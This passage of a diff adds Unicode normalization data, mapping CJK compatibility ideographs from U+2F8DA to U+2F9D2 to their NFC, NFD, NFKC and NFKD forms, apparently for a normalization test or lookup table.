+{ source: [0x2F8DA], NFC: [0x6721], NFD: [0x6721], NFKC: [0x6721], NFKD: [0x6721] },
+{ source: [0x2F8DB], NFC: [0x675E], NFD: [0x675E], NFKC: [0x675E], NFKD: [0x675E] },
+{ source: [0x2F8DC], NFC: [0x6753], NFD: [0x6753], NFKC: [0x6753], NFKD: [0x6753] },
+{ source: [0x2F8DD], NFC: [0x233C3], NFD: [0x233C3], NFKC: [0x233C3], NFKD: [0x233C3] },
+{ source: [0x2F8DE], NFC: [0x3B49], NFD: [0x3B49], NFKC: [0x3B49], NFKD: [0x3B49] },
+{ source: [0x2F8DF], NFC: [0x67FA], NFD: [0x67FA], NFKC: [0x67FA], NFKD: [0x67FA] },
+{ source: [0x2F8E0], NFC: [0x6785], NFD: [0x6785], NFKC: [0x6785], NFKD: [0x6785] },
+{ source: [0x2F8E1], NFC: [0x6852], NFD: [0x6852], NFKC: [0x6852], NFKD: [0x6852] },
+{ source: [0x2F8E2], NFC: [0x6885], NFD: [0x6885], NFKC: [0x6885], NFKD: [0x6885] },
+{ source: [0x2F8E3], NFC: [0x2346D], NFD: [0x2346D], NFKC: [0x2346D], NFKD: [0x2346D] },
+{ source: [0x2F8E4], NFC: [0x688E], NFD: [0x688E], NFKC: [0x688E], NFKD: [0x688E] },
+{ source: [0x2F8E5], NFC: [0x681F], NFD: [0x681F], NFKC: [0x681F], NFKD: [0x681F] },
+{ source: [0x2F8E6], NFC: [0x6914], NFD: [0x6914], NFKC: [0x6914], NFKD: [0x6914] },
+{ source: [0x2F8E7], NFC: [0x3B9D], NFD: [0x3B9D], NFKC: [0x3B9D], NFKD: [0x3B9D] },
+{ source: [0x2F8E8], NFC: [0x6942], NFD: [0x6942], NFKC: [0x6942], NFKD: [0x6942] },
+{ source: [0x2F8E9], NFC: [0x69A3], NFD: [0x69A3], NFKC: [0x69A3], NFKD: [0x69A3] },
+{ source: [0x2F8EA], NFC: [0x69EA], NFD: [0x69EA], NFKC: [0x69EA], NFKD: [0x69EA] },
+{ source: [0x2F8EB], NFC: [0x6AA8], NFD: [0x6AA8], NFKC: [0x6AA8], NFKD: [0x6AA8] },
+{ source: [0x2F8EC], NFC: [0x236A3], NFD: [0x236A3], NFKC: [0x236A3], NFKD: [0x236A3] },
+{ source: [0x2F8ED], NFC: [0x6ADB], NFD: [0x6ADB], NFKC: [0x6ADB], NFKD: [0x6ADB] },
+{ source: [0x2F8EE], NFC: [0x3C18], NFD: [0x3C18], NFKC: [0x3C18], NFKD: [0x3C18] },
+{ source: [0x2F8EF], NFC: [0x6B21], NFD: [0x6B21], NFKC: [0x6B21], NFKD: [0x6B21] },
+{ source: [0x2F8F0], NFC: [0x238A7], NFD: [0x238A7], NFKC: [0x238A7], NFKD: [0x238A7] },
+{ source: [0x2F8F1], NFC: [0x6B54], NFD: [0x6B54], NFKC: [0x6B54], NFKD: [0x6B54] },
+{ source: [0x2F8F2], NFC: [0x3C4E], NFD: [0x3C4E], NFKC: [0x3C4E], NFKD: [0x3C4E] },
+{ source: [0x2F8F3], NFC: [0x6B72], NFD: [0x6B72], NFKC: [0x6B72], NFKD: [0x6B72] },
+{ source: [0x2F8F4], NFC: [0x6B9F], NFD: [0x6B9F], NFKC: [0x6B9F], NFKD: [0x6B9F] },
+{ source: [0x2F8F5], NFC: [0x6BBA], NFD: [0x6BBA], NFKC: [0x6BBA], NFKD: [0x6BBA] },
+{ source: [0x2F8F6], NFC: [0x6BBB], NFD: [0x6BBB], NFKC: [0x6BBB], NFKD: [0x6BBB] },
+{ source: [0x2F8F7], NFC: [0x23A8D], NFD: [0x23A8D], NFKC: [0x23A8D], NFKD: [0x23A8D] },
+{ source: [0x2F8F8], NFC: [0x21D0B], NFD: [0x21D0B], NFKC: [0x21D0B], NFKD: [0x21D0B] },
+{ source: [0x2F8F9], NFC: [0x23AFA], NFD: [0x23AFA], NFKC: [0x23AFA], NFKD: [0x23AFA] },
+{ source: [0x2F8FA], NFC: [0x6C4E], NFD: [0x6C4E], NFKC: [0x6C4E], NFKD: [0x6C4E] },
+{ source: [0x2F8FB], NFC: [0x23CBC], NFD: [0x23CBC], NFKC: [0x23CBC], NFKD: [0x23CBC] },
+{ source: [0x2F8FC], NFC: [0x6CBF], NFD: [0x6CBF], NFKC: [0x6CBF], NFKD: [0x6CBF] },
+{ source: [0x2F8FD], NFC: [0x6CCD], NFD: [0x6CCD], NFKC: [0x6CCD], NFKD: [0x6CCD] },
+{ source: [0x2F8FE], NFC: [0x6C67], NFD: [0x6C67], NFKC: [0x6C67], NFKD: [0x6C67] },
+{ source: [0x2F8FF], NFC: [0x6D16], NFD: [0x6D16], NFKC: [0x6D16], NFKD: [0x6D16] },
+{ source: [0x2F900], NFC: [0x6D3E], NFD: [0x6D3E], NFKC: [0x6D3E], NFKD: [0x6D3E] },
+{ source: [0x2F901], NFC: [0x6D77], NFD: [0x6D77], NFKC: [0x6D77], NFKD: [0x6D77] },
+{ source: [0x2F902], NFC: [0x6D41], NFD: [0x6D41], NFKC: [0x6D41], NFKD: [0x6D41] },
+{ source: [0x2F903], NFC: [0x6D69], NFD: [0x6D69], NFKC: [0x6D69], NFKD: [0x6D69] },
+{ source: [0x2F904], NFC: [0x6D78], NFD: [0x6D78], NFKC: [0x6D78], NFKD: [0x6D78] },
+{ source: [0x2F905], NFC: [0x6D85], NFD: [0x6D85], NFKC: [0x6D85], NFKD: [0x6D85] },
+{ source: [0x2F906], NFC: [0x23D1E], NFD: [0x23D1E], NFKC: [0x23D1E], NFKD: [0x23D1E] },
+{ source: [0x2F907], NFC: [0x6D34], NFD: [0x6D34], NFKC: [0x6D34], NFKD: [0x6D34] },
+{ source: [0x2F908], NFC: [0x6E2F], NFD: [0x6E2F], NFKC: [0x6E2F], NFKD: [0x6E2F] },
+{ source: [0x2F909], NFC: [0x6E6E], NFD: [0x6E6E], NFKC: [0x6E6E], NFKD: [0x6E6E] },
+{ source: [0x2F90A], NFC: [0x3D33], NFD: [0x3D33], NFKC: [0x3D33], NFKD: [0x3D33] },
+{ source: [0x2F90B], NFC: [0x6ECB], NFD: [0x6ECB], NFKC: [0x6ECB], NFKD: [0x6ECB] },
+{ source: [0x2F90C], NFC: [0x6EC7], NFD: [0x6EC7], NFKC: [0x6EC7], NFKD: [0x6EC7] },
+{ source: [0x2F90D], NFC: [0x23ED1], NFD: [0x23ED1], NFKC: [0x23ED1], NFKD: [0x23ED1] },
+{ source: [0x2F90E], NFC: [0x6DF9], NFD: [0x6DF9], NFKC: [0x6DF9], NFKD: [0x6DF9] },
+{ source: [0x2F90F], NFC: [0x6F6E], NFD: [0x6F6E], NFKC: [0x6F6E], NFKD: [0x6F6E] },
+{ source: [0x2F910], NFC: [0x23F5E], NFD: [0x23F5E], NFKC: [0x23F5E], NFKD: [0x23F5E] },
+{ source: [0x2F911], NFC: [0x23F8E], NFD: [0x23F8E], NFKC: [0x23F8E], NFKD: [0x23F8E] },
+{ source: [0x2F912], NFC: [0x6FC6], NFD: [0x6FC6], NFKC: [0x6FC6], NFKD: [0x6FC6] },
+{ source: [0x2F913], NFC: [0x7039], NFD: [0x7039], NFKC: [0x7039], NFKD: [0x7039] },
+{ source: [0x2F914], NFC: [0x701E], NFD: [0x701E], NFKC: [0x701E], NFKD: [0x701E] },
+{ source: [0x2F915], NFC: [0x701B], NFD: [0x701B], NFKC: [0x701B], NFKD: [0x701B] },
+{ source: [0x2F916], NFC: [0x3D96], NFD: [0x3D96], NFKC: [0x3D96], NFKD: [0x3D96] },
+{ source: [0x2F917], NFC: [0x704A], NFD: [0x704A], NFKC: [0x704A], NFKD: [0x704A] },
+{ source: [0x2F918], NFC: [0x707D], NFD: [0x707D], NFKC: [0x707D], NFKD: [0x707D] },
+{ source: [0x2F919], NFC: [0x7077], NFD: [0x7077], NFKC: [0x7077], NFKD: [0x7077] },
+{ source: [0x2F91A], NFC: [0x70AD], NFD: [0x70AD], NFKC: [0x70AD], NFKD: [0x70AD] },
+{ source: [0x2F91B], NFC: [0x20525], NFD: [0x20525], NFKC: [0x20525], NFKD: [0x20525] },
+{ source: [0x2F91C], NFC: [0x7145], NFD: [0x7145], NFKC: [0x7145], NFKD: [0x7145] },
+{ source: [0x2F91D], NFC: [0x24263], NFD: [0x24263], NFKC: [0x24263], NFKD: [0x24263] },
+{ source: [0x2F91E], NFC: [0x719C], NFD: [0x719C], NFKC: [0x719C], NFKD: [0x719C] },
+{ source: [0x2F91F], NFC: [0x243AB], NFD: [0x243AB], NFKC: [0x243AB], NFKD: [0x243AB] },
+{ source: [0x2F920], NFC: [0x7228], NFD: [0x7228], NFKC: [0x7228], NFKD: [0x7228] },
+{ source: [0x2F921], NFC: [0x7235], NFD: [0x7235], NFKC: [0x7235], NFKD: [0x7235] },
+{ source: [0x2F922], NFC: [0x7250], NFD: [0x7250], NFKC: [0x7250], NFKD: [0x7250] },
+{ source: [0x2F923], NFC: [0x24608], NFD: [0x24608], NFKC: [0x24608], NFKD: [0x24608] },
+{ source: [0x2F924], NFC: [0x7280], NFD: [0x7280], NFKC: [0x7280], NFKD: [0x7280] },
+{ source: [0x2F925], NFC: [0x7295], NFD: [0x7295], NFKC: [0x7295], NFKD: [0x7295] },
+{ source: [0x2F926], NFC: [0x24735], NFD: [0x24735], NFKC: [0x24735], NFKD: [0x24735] },
+{ source: [0x2F927], NFC: [0x24814], NFD: [0x24814], NFKC: [0x24814], NFKD: [0x24814] },
+{ source: [0x2F928], NFC: [0x737A], NFD: [0x737A], NFKC: [0x737A], NFKD: [0x737A] },
+{ source: [0x2F929], NFC: [0x738B], NFD: [0x738B], NFKC: [0x738B], NFKD: [0x738B] },
+{ source: [0x2F92A], NFC: [0x3EAC], NFD: [0x3EAC], NFKC: [0x3EAC], NFKD: [0x3EAC] },
+{ source: [0x2F92B], NFC: [0x73A5], NFD: [0x73A5], NFKC: [0x73A5], NFKD: [0x73A5] },
+{ source: [0x2F92C], NFC: [0x3EB8], NFD: [0x3EB8], NFKC: [0x3EB8], NFKD: [0x3EB8] },
+{ source: [0x2F92D], NFC: [0x3EB8], NFD: [0x3EB8], NFKC: [0x3EB8], NFKD: [0x3EB8] },
+{ source: [0x2F92E], NFC: [0x7447], NFD: [0x7447], NFKC: [0x7447], NFKD: [0x7447] },
+{ source: [0x2F92F], NFC: [0x745C], NFD: [0x745C], NFKC: [0x745C], NFKD: [0x745C] },
+{ source: [0x2F930], NFC: [0x7471], NFD: [0x7471], NFKC: [0x7471], NFKD: [0x7471] },
+{ source: [0x2F931], NFC: [0x7485], NFD: [0x7485], NFKC: [0x7485], NFKD: [0x7485] },
+{ source: [0x2F932], NFC: [0x74CA], NFD: [0x74CA], NFKC: [0x74CA], NFKD: [0x74CA] },
+{ source: [0x2F933], NFC: [0x3F1B], NFD: [0x3F1B], NFKC: [0x3F1B], NFKD: [0x3F1B] },
+{ source: [0x2F934], NFC: [0x7524], NFD: [0x7524], NFKC: [0x7524], NFKD: [0x7524] },
+{ source: [0x2F935], NFC: [0x24C36], NFD: [0x24C36], NFKC: [0x24C36], NFKD: [0x24C36] },
+{ source: [0x2F936], NFC: [0x753E], NFD: [0x753E], NFKC: [0x753E], NFKD: [0x753E] },
+{ source: [0x2F937], NFC: [0x24C92], NFD: [0x24C92], NFKC: [0x24C92], NFKD: [0x24C92] },
+{ source: [0x2F938], NFC: [0x7570], NFD: [0x7570], NFKC: [0x7570], NFKD: [0x7570] },
+{ source: [0x2F939], NFC: [0x2219F], NFD: [0x2219F], NFKC: [0x2219F], NFKD: [0x2219F] },
+{ source: [0x2F93A], NFC: [0x7610], NFD: [0x7610], NFKC: [0x7610], NFKD: [0x7610] },
+{ source: [0x2F93B], NFC: [0x24FA1], NFD: [0x24FA1], NFKC: [0x24FA1], NFKD: [0x24FA1] },
+{ source: [0x2F93C], NFC: [0x24FB8], NFD: [0x24FB8], NFKC: [0x24FB8], NFKD: [0x24FB8] },
+{ source: [0x2F93D], NFC: [0x25044], NFD: [0x25044], NFKC: [0x25044], NFKD: [0x25044] },
+{ source: [0x2F93E], NFC: [0x3FFC], NFD: [0x3FFC], NFKC: [0x3FFC], NFKD: [0x3FFC] },
+{ source: [0x2F93F], NFC: [0x4008], NFD: [0x4008], NFKC: [0x4008], NFKD: [0x4008] },
+{ source: [0x2F940], NFC: [0x76F4], NFD: [0x76F4], NFKC: [0x76F4], NFKD: [0x76F4] },
+{ source: [0x2F941], NFC: [0x250F3], NFD: [0x250F3], NFKC: [0x250F3], NFKD: [0x250F3] },
+{ source: [0x2F942], NFC: [0x250F2], NFD: [0x250F2], NFKC: [0x250F2], NFKD: [0x250F2] },
+{ source: [0x2F943], NFC: [0x25119], NFD: [0x25119], NFKC: [0x25119], NFKD: [0x25119] },
+{ source: [0x2F944], NFC: [0x25133], NFD: [0x25133], NFKC: [0x25133], NFKD: [0x25133] },
+{ source: [0x2F945], NFC: [0x771E], NFD: [0x771E], NFKC: [0x771E], NFKD: [0x771E] },
+{ source: [0x2F946], NFC: [0x771F], NFD: [0x771F], NFKC: [0x771F], NFKD: [0x771F] },
+{ source: [0x2F947], NFC: [0x771F], NFD: [0x771F], NFKC: [0x771F], NFKD: [0x771F] },
+{ source: [0x2F948], NFC: [0x774A], NFD: [0x774A], NFKC: [0x774A], NFKD: [0x774A] },
+{ source: [0x2F949], NFC: [0x4039], NFD: [0x4039], NFKC: [0x4039], NFKD: [0x4039] },
+{ source: [0x2F94A], NFC: [0x778B], NFD: [0x778B], NFKC: [0x778B], NFKD: [0x778B] },
+{ source: [0x2F94B], NFC: [0x4046], NFD: [0x4046], NFKC: [0x4046], NFKD: [0x4046] },
+{ source: [0x2F94C], NFC: [0x4096], NFD: [0x4096], NFKC: [0x4096], NFKD: [0x4096] },
+{ source: [0x2F94D], NFC: [0x2541D], NFD: [0x2541D], NFKC: [0x2541D], NFKD: [0x2541D] },
+{ source: [0x2F94E], NFC: [0x784E], NFD: [0x784E], NFKC: [0x784E], NFKD: [0x784E] },
+{ source: [0x2F94F], NFC: [0x788C], NFD: [0x788C], NFKC: [0x788C], NFKD: [0x788C] },
+{ source: [0x2F950], NFC: [0x78CC], NFD: [0x78CC], NFKC: [0x78CC], NFKD: [0x78CC] },
+{ source: [0x2F951], NFC: [0x40E3], NFD: [0x40E3], NFKC: [0x40E3], NFKD: [0x40E3] },
+{ source: [0x2F952], NFC: [0x25626], NFD: [0x25626], NFKC: [0x25626], NFKD: [0x25626] },
+{ source: [0x2F953], NFC: [0x7956], NFD: [0x7956], NFKC: [0x7956], NFKD: [0x7956] },
+{ source: [0x2F954], NFC: [0x2569A], NFD: [0x2569A], NFKC: [0x2569A], NFKD: [0x2569A] },
+{ source: [0x2F955], NFC: [0x256C5], NFD: [0x256C5], NFKC: [0x256C5], NFKD: [0x256C5] },
+{ source: [0x2F956], NFC: [0x798F], NFD: [0x798F], NFKC: [0x798F], NFKD: [0x798F] },
+{ source: [0x2F957], NFC: [0x79EB], NFD: [0x79EB], NFKC: [0x79EB], NFKD: [0x79EB] },
+{ source: [0x2F958], NFC: [0x412F], NFD: [0x412F], NFKC: [0x412F], NFKD: [0x412F] },
+{ source: [0x2F959], NFC: [0x7A40], NFD: [0x7A40], NFKC: [0x7A40], NFKD: [0x7A40] },
+{ source: [0x2F95A], NFC: [0x7A4A], NFD: [0x7A4A], NFKC: [0x7A4A], NFKD: [0x7A4A] },
+{ source: [0x2F95B], NFC: [0x7A4F], NFD: [0x7A4F], NFKC: [0x7A4F], NFKD: [0x7A4F] },
+{ source: [0x2F95C], NFC: [0x2597C], NFD: [0x2597C], NFKC: [0x2597C], NFKD: [0x2597C] },
+{ source: [0x2F95D], NFC: [0x25AA7], NFD: [0x25AA7], NFKC: [0x25AA7], NFKD: [0x25AA7] },
+{ source: [0x2F95E], NFC: [0x25AA7], NFD: [0x25AA7], NFKC: [0x25AA7], NFKD: [0x25AA7] },
+{ source: [0x2F95F], NFC: [0x7AEE], NFD: [0x7AEE], NFKC: [0x7AEE], NFKD: [0x7AEE] },
+{ source: [0x2F960], NFC: [0x4202], NFD: [0x4202], NFKC: [0x4202], NFKD: [0x4202] },
+{ source: [0x2F961], NFC: [0x25BAB], NFD: [0x25BAB], NFKC: [0x25BAB], NFKD: [0x25BAB] },
+{ source: [0x2F962], NFC: [0x7BC6], NFD: [0x7BC6], NFKC: [0x7BC6], NFKD: [0x7BC6] },
+{ source: [0x2F963], NFC: [0x7BC9], NFD: [0x7BC9], NFKC: [0x7BC9], NFKD: [0x7BC9] },
+{ source: [0x2F964], NFC: [0x4227], NFD: [0x4227], NFKC: [0x4227], NFKD: [0x4227] },
+{ source: [0x2F965], NFC: [0x25C80], NFD: [0x25C80], NFKC: [0x25C80], NFKD: [0x25C80] },
+{ source: [0x2F966], NFC: [0x7CD2], NFD: [0x7CD2], NFKC: [0x7CD2], NFKD: [0x7CD2] },
+{ source: [0x2F967], NFC: [0x42A0], NFD: [0x42A0], NFKC: [0x42A0], NFKD: [0x42A0] },
+{ source: [0x2F968], NFC: [0x7CE8], NFD: [0x7CE8], NFKC: [0x7CE8], NFKD: [0x7CE8] },
+{ source: [0x2F969], NFC: [0x7CE3], NFD: [0x7CE3], NFKC: [0x7CE3], NFKD: [0x7CE3] },
+{ source: [0x2F96A], NFC: [0x7D00], NFD: [0x7D00], NFKC: [0x7D00], NFKD: [0x7D00] },
+{ source: [0x2F96B], NFC: [0x25F86], NFD: [0x25F86], NFKC: [0x25F86], NFKD: [0x25F86] },
+{ source: [0x2F96C], NFC: [0x7D63], NFD: [0x7D63], NFKC: [0x7D63], NFKD: [0x7D63] },
+{ source: [0x2F96D], NFC: [0x4301], NFD: [0x4301], NFKC: [0x4301], NFKD: [0x4301] },
+{ source: [0x2F96E], NFC: [0x7DC7], NFD: [0x7DC7], NFKC: [0x7DC7], NFKD: [0x7DC7] },
+{ source: [0x2F96F], NFC: [0x7E02], NFD: [0x7E02], NFKC: [0x7E02], NFKD: [0x7E02] },
+{ source: [0x2F970], NFC: [0x7E45], NFD: [0x7E45], NFKC: [0x7E45], NFKD: [0x7E45] },
+{ source: [0x2F971], NFC: [0x4334], NFD: [0x4334], NFKC: [0x4334], NFKD: [0x4334] },
+{ source: [0x2F972], NFC: [0x26228], NFD: [0x26228], NFKC: [0x26228], NFKD: [0x26228] },
+{ source: [0x2F973], NFC: [0x26247], NFD: [0x26247], NFKC: [0x26247], NFKD: [0x26247] },
+{ source: [0x2F974], NFC: [0x4359], NFD: [0x4359], NFKC: [0x4359], NFKD: [0x4359] },
+{ source: [0x2F975], NFC: [0x262D9], NFD: [0x262D9], NFKC: [0x262D9], NFKD: [0x262D9] },
+{ source: [0x2F976], NFC: [0x7F7A], NFD: [0x7F7A], NFKC: [0x7F7A], NFKD: [0x7F7A] },
+{ source: [0x2F977], NFC: [0x2633E], NFD: [0x2633E], NFKC: [0x2633E], NFKD: [0x2633E] },
+{ source: [0x2F978], NFC: [0x7F95], NFD: [0x7F95], NFKC: [0x7F95], NFKD: [0x7F95] },
+{ source: [0x2F979], NFC: [0x7FFA], NFD: [0x7FFA], NFKC: [0x7FFA], NFKD: [0x7FFA] },
+{ source: [0x2F97A], NFC: [0x8005], NFD: [0x8005], NFKC: [0x8005], NFKD: [0x8005] },
+{ source: [0x2F97B], NFC: [0x264DA], NFD: [0x264DA], NFKC: [0x264DA], NFKD: [0x264DA] },
+{ source: [0x2F97C], NFC: [0x26523], NFD: [0x26523], NFKC: [0x26523], NFKD: [0x26523] },
+{ source: [0x2F97D], NFC: [0x8060], NFD: [0x8060], NFKC: [0x8060], NFKD: [0x8060] },
+{ source: [0x2F97E], NFC: [0x265A8], NFD: [0x265A8], NFKC: [0x265A8], NFKD: [0x265A8] },
+{ source: [0x2F97F], NFC: [0x8070], NFD: [0x8070], NFKC: [0x8070], NFKD: [0x8070] },
+{ source: [0x2F980], NFC: [0x2335F], NFD: [0x2335F], NFKC: [0x2335F], NFKD: [0x2335F] },
+{ source: [0x2F981], NFC: [0x43D5], NFD: [0x43D5], NFKC: [0x43D5], NFKD: [0x43D5] },
+{ source: [0x2F982], NFC: [0x80B2], NFD: [0x80B2], NFKC: [0x80B2], NFKD: [0x80B2] },
+{ source: [0x2F983], NFC: [0x8103], NFD: [0x8103], NFKC: [0x8103], NFKD: [0x8103] },
+{ source: [0x2F984], NFC: [0x440B], NFD: [0x440B], NFKC: [0x440B], NFKD: [0x440B] },
+{ source: [0x2F985], NFC: [0x813E], NFD: [0x813E], NFKC: [0x813E], NFKD: [0x813E] },
+{ source: [0x2F986], NFC: [0x5AB5], NFD: [0x5AB5], NFKC: [0x5AB5], NFKD: [0x5AB5] },
+{ source: [0x2F987], NFC: [0x267A7], NFD: [0x267A7], NFKC: [0x267A7], NFKD: [0x267A7] },
+{ source: [0x2F988], NFC: [0x267B5], NFD: [0x267B5], NFKC: [0x267B5], NFKD: [0x267B5] },
+{ source: [0x2F989], NFC: [0x23393], NFD: [0x23393], NFKC: [0x23393], NFKD: [0x23393] },
+{ source: [0x2F98A], NFC: [0x2339C], NFD: [0x2339C], NFKC: [0x2339C], NFKD: [0x2339C] },
+{ source: [0x2F98B], NFC: [0x8201], NFD: [0x8201], NFKC: [0x8201], NFKD: [0x8201] },
+{ source: [0x2F98C], NFC: [0x8204], NFD: [0x8204], NFKC: [0x8204], NFKD: [0x8204] },
+{ source: [0x2F98D], NFC: [0x8F9E], NFD: [0x8F9E], NFKC: [0x8F9E], NFKD: [0x8F9E] },
+{ source: [0x2F98E], NFC: [0x446B], NFD: [0x446B], NFKC: [0x446B], NFKD: [0x446B] },
+{ source: [0x2F98F], NFC: [0x8291], NFD: [0x8291], NFKC: [0x8291], NFKD: [0x8291] },
+{ source: [0x2F990], NFC: [0x828B], NFD: [0x828B], NFKC: [0x828B], NFKD: [0x828B] },
+{ source: [0x2F991], NFC: [0x829D], NFD: [0x829D], NFKC: [0x829D], NFKD: [0x829D] },
+{ source: [0x2F992], NFC: [0x52B3], NFD: [0x52B3], NFKC: [0x52B3], NFKD: [0x52B3] },
+{ source: [0x2F993], NFC: [0x82B1], NFD: [0x82B1], NFKC: [0x82B1], NFKD: [0x82B1] },
+{ source: [0x2F994], NFC: [0x82B3], NFD: [0x82B3], NFKC: [0x82B3], NFKD: [0x82B3] },
+{ source: [0x2F995], NFC: [0x82BD], NFD: [0x82BD], NFKC: [0x82BD], NFKD: [0x82BD] },
+{ source: [0x2F996], NFC: [0x82E6], NFD: [0x82E6], NFKC: [0x82E6], NFKD: [0x82E6] },
+{ source: [0x2F997], NFC: [0x26B3C], NFD: [0x26B3C], NFKC: [0x26B3C], NFKD: [0x26B3C] },
+{ source: [0x2F998], NFC: [0x82E5], NFD: [0x82E5], NFKC: [0x82E5], NFKD: [0x82E5] },
+{ source: [0x2F999], NFC: [0x831D], NFD: [0x831D], NFKC: [0x831D], NFKD: [0x831D] },
+{ source: [0x2F99A], NFC: [0x8363], NFD: [0x8363], NFKC: [0x8363], NFKD: [0x8363] },
+{ source: [0x2F99B], NFC: [0x83AD], NFD: [0x83AD], NFKC: [0x83AD], NFKD: [0x83AD] },
+{ source: [0x2F99C], NFC: [0x8323], NFD: [0x8323], NFKC: [0x8323], NFKD: [0x8323] },
+{ source: [0x2F99D], NFC: [0x83BD], NFD: [0x83BD], NFKC: [0x83BD], NFKD: [0x83BD] },
+{ source: [0x2F99E], NFC: [0x83E7], NFD: [0x83E7], NFKC: [0x83E7], NFKD: [0x83E7] },
+{ source: [0x2F99F], NFC: [0x8457], NFD: [0x8457], NFKC: [0x8457], NFKD: [0x8457] },
+{ source: [0x2F9A0], NFC: [0x8353], NFD: [0x8353], NFKC: [0x8353], NFKD: [0x8353] },
+{ source: [0x2F9A1], NFC: [0x83CA], NFD: [0x83CA], NFKC: [0x83CA], NFKD: [0x83CA] },
+{ source: [0x2F9A2], NFC: [0x83CC], NFD: [0x83CC], NFKC: [0x83CC], NFKD: [0x83CC] },
+{ source: [0x2F9A3], NFC: [0x83DC], NFD: [0x83DC], NFKC: [0x83DC], NFKD: [0x83DC] },
+{ source: [0x2F9A4], NFC: [0x26C36], NFD: [0x26C36], NFKC: [0x26C36], NFKD: [0x26C36] },
+{ source: [0x2F9A5], NFC: [0x26D6B], NFD: [0x26D6B], NFKC: [0x26D6B], NFKD: [0x26D6B] },
+{ source: [0x2F9A6], NFC: [0x26CD5], NFD: [0x26CD5], NFKC: [0x26CD5], NFKD: [0x26CD5] },
+{ source: [0x2F9A7], NFC: [0x452B], NFD: [0x452B], NFKC: [0x452B], NFKD: [0x452B] },
+{ source: [0x2F9A8], NFC: [0x84F1], NFD: [0x84F1], NFKC: [0x84F1], NFKD: [0x84F1] },
+{ source: [0x2F9A9], NFC: [0x84F3], NFD: [0x84F3], NFKC: [0x84F3], NFKD: [0x84F3] },
+{ source: [0x2F9AA], NFC: [0x8516], NFD: [0x8516], NFKC: [0x8516], NFKD: [0x8516] },
+{ source: [0x2F9AB], NFC: [0x273CA], NFD: [0x273CA], NFKC: [0x273CA], NFKD: [0x273CA] },
+{ source: [0x2F9AC], NFC: [0x8564], NFD: [0x8564], NFKC: [0x8564], NFKD: [0x8564] },
+{ source: [0x2F9AD], NFC: [0x26F2C], NFD: [0x26F2C], NFKC: [0x26F2C], NFKD: [0x26F2C] },
+{ source: [0x2F9AE], NFC: [0x455D], NFD: [0x455D], NFKC: [0x455D], NFKD: [0x455D] },
+{ source: [0x2F9AF], NFC: [0x4561], NFD: [0x4561], NFKC: [0x4561], NFKD: [0x4561] },
+{ source: [0x2F9B0], NFC: [0x26FB1], NFD: [0x26FB1], NFKC: [0x26FB1], NFKD: [0x26FB1] },
+{ source: [0x2F9B1], NFC: [0x270D2], NFD: [0x270D2], NFKC: [0x270D2], NFKD: [0x270D2] },
+{ source: [0x2F9B2], NFC: [0x456B], NFD: [0x456B], NFKC: [0x456B], NFKD: [0x456B] },
+{ source: [0x2F9B3], NFC: [0x8650], NFD: [0x8650], NFKC: [0x8650], NFKD: [0x8650] },
+{ source: [0x2F9B4], NFC: [0x865C], NFD: [0x865C], NFKC: [0x865C], NFKD: [0x865C] },
+{ source: [0x2F9B5], NFC: [0x8667], NFD: [0x8667], NFKC: [0x8667], NFKD: [0x8667] },
+{ source: [0x2F9B6], NFC: [0x8669], NFD: [0x8669], NFKC: [0x8669], NFKD: [0x8669] },
+{ source: [0x2F9B7], NFC: [0x86A9], NFD: [0x86A9], NFKC: [0x86A9], NFKD: [0x86A9] },
+{ source: [0x2F9B8], NFC: [0x8688], NFD: [0x8688], NFKC: [0x8688], NFKD: [0x8688] },
+{ source: [0x2F9B9], NFC: [0x870E], NFD: [0x870E], NFKC: [0x870E], NFKD: [0x870E] },
+{ source: [0x2F9BA], NFC: [0x86E2], NFD: [0x86E2], NFKC: [0x86E2], NFKD: [0x86E2] },
+{ source: [0x2F9BB], NFC: [0x8779], NFD: [0x8779], NFKC: [0x8779], NFKD: [0x8779] },
+{ source: [0x2F9BC], NFC: [0x8728], NFD: [0x8728], NFKC: [0x8728], NFKD: [0x8728] },
+{ source: [0x2F9BD], NFC: [0x876B], NFD: [0x876B], NFKC: [0x876B], NFKD: [0x876B] },
+{ source: [0x2F9BE], NFC: [0x8786], NFD: [0x8786], NFKC: [0x8786], NFKD: [0x8786] },
+{ source: [0x2F9BF], NFC: [0x45D7], NFD: [0x45D7], NFKC: [0x45D7], NFKD: [0x45D7] },
+{ source: [0x2F9C0], NFC: [0x87E1], NFD: [0x87E1], NFKC: [0x87E1], NFKD: [0x87E1] },
+{ source: [0x2F9C1], NFC: [0x8801], NFD: [0x8801], NFKC: [0x8801], NFKD: [0x8801] },
+{ source: [0x2F9C2], NFC: [0x45F9], NFD: [0x45F9], NFKC: [0x45F9], NFKD: [0x45F9] },
+{ source: [0x2F9C3], NFC: [0x8860], NFD: [0x8860], NFKC: [0x8860], NFKD: [0x8860] },
+{ source: [0x2F9C4], NFC: [0x8863], NFD: [0x8863], NFKC: [0x8863], NFKD: [0x8863] },
+{ source: [0x2F9C5], NFC: [0x27667], NFD: [0x27667], NFKC: [0x27667], NFKD: [0x27667] },
+{ source: [0x2F9C6], NFC: [0x88D7], NFD: [0x88D7], NFKC: [0x88D7], NFKD: [0x88D7] },
+{ source: [0x2F9C7], NFC: [0x88DE], NFD: [0x88DE], NFKC: [0x88DE], NFKD: [0x88DE] },
+{ source: [0x2F9C8], NFC: [0x4635], NFD: [0x4635], NFKC: [0x4635], NFKD: [0x4635] },
+{ source: [0x2F9C9], NFC: [0x88FA], NFD: [0x88FA], NFKC: [0x88FA], NFKD: [0x88FA] },
+{ source: [0x2F9CA], NFC: [0x34BB], NFD: [0x34BB], NFKC: [0x34BB], NFKD: [0x34BB] },
+{ source: [0x2F9CB], NFC: [0x278AE], NFD: [0x278AE], NFKC: [0x278AE], NFKD: [0x278AE] },
+{ source: [0x2F9CC], NFC: [0x27966], NFD: [0x27966], NFKC: [0x27966], NFKD: [0x27966] },
+{ source: [0x2F9CD], NFC: [0x46BE], NFD: [0x46BE], NFKC: [0x46BE], NFKD: [0x46BE] },
+{ source: [0x2F9CE], NFC: [0x46C7], NFD: [0x46C7], NFKC: [0x46C7], NFKD: [0x46C7] },
+{ source: [0x2F9CF], NFC: [0x8AA0], NFD: [0x8AA0], NFKC: [0x8AA0], NFKD: [0x8AA0] },
+{ source: [0x2F9D0], NFC: [0x8AED], NFD: [0x8AED], NFKC: [0x8AED], NFKD: [0x8AED] },
+{ source: [0x2F9D1], NFC: [0x8B8A], NFD: [0x8B8A], NFKC: [0x8B8A], NFKD: [0x8B8A] },
+{ source: [0x2F9D2], NFC: [0x8C55], NFD: [0x8C55], NFKC: [0x8C55], NFKD: [0x8C55] },
